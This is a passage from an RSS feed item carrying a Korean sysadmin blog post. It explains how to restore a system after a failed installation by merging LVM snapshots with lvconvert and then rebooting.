&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;장애 발생 시 Snapshot Rollback&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 작업 이후 문제가 발생하면 snapshot 기준으로 복구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;snapshot merge&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;lvconvert --merge /dev/rl/root_snapshot
lvconvert --merge /dev/rl/home_snapshot
lvconvert --merge /dev/rl/u01_snapshot&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅&lt;/p&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;reboot&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복구 후 시스템은 snapshot 시점 상태로 돌아간다.&lt;/p&gt;</description>
      <category>DEV/OS</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/308</guid>
      <comments>https://doinitright.tistory.com/308#entry308comment</comments>
      <pubDate>Fri, 20 Mar 2026 13:49:24 +0900</pubDate>
    </item>
  </channel>
</rss>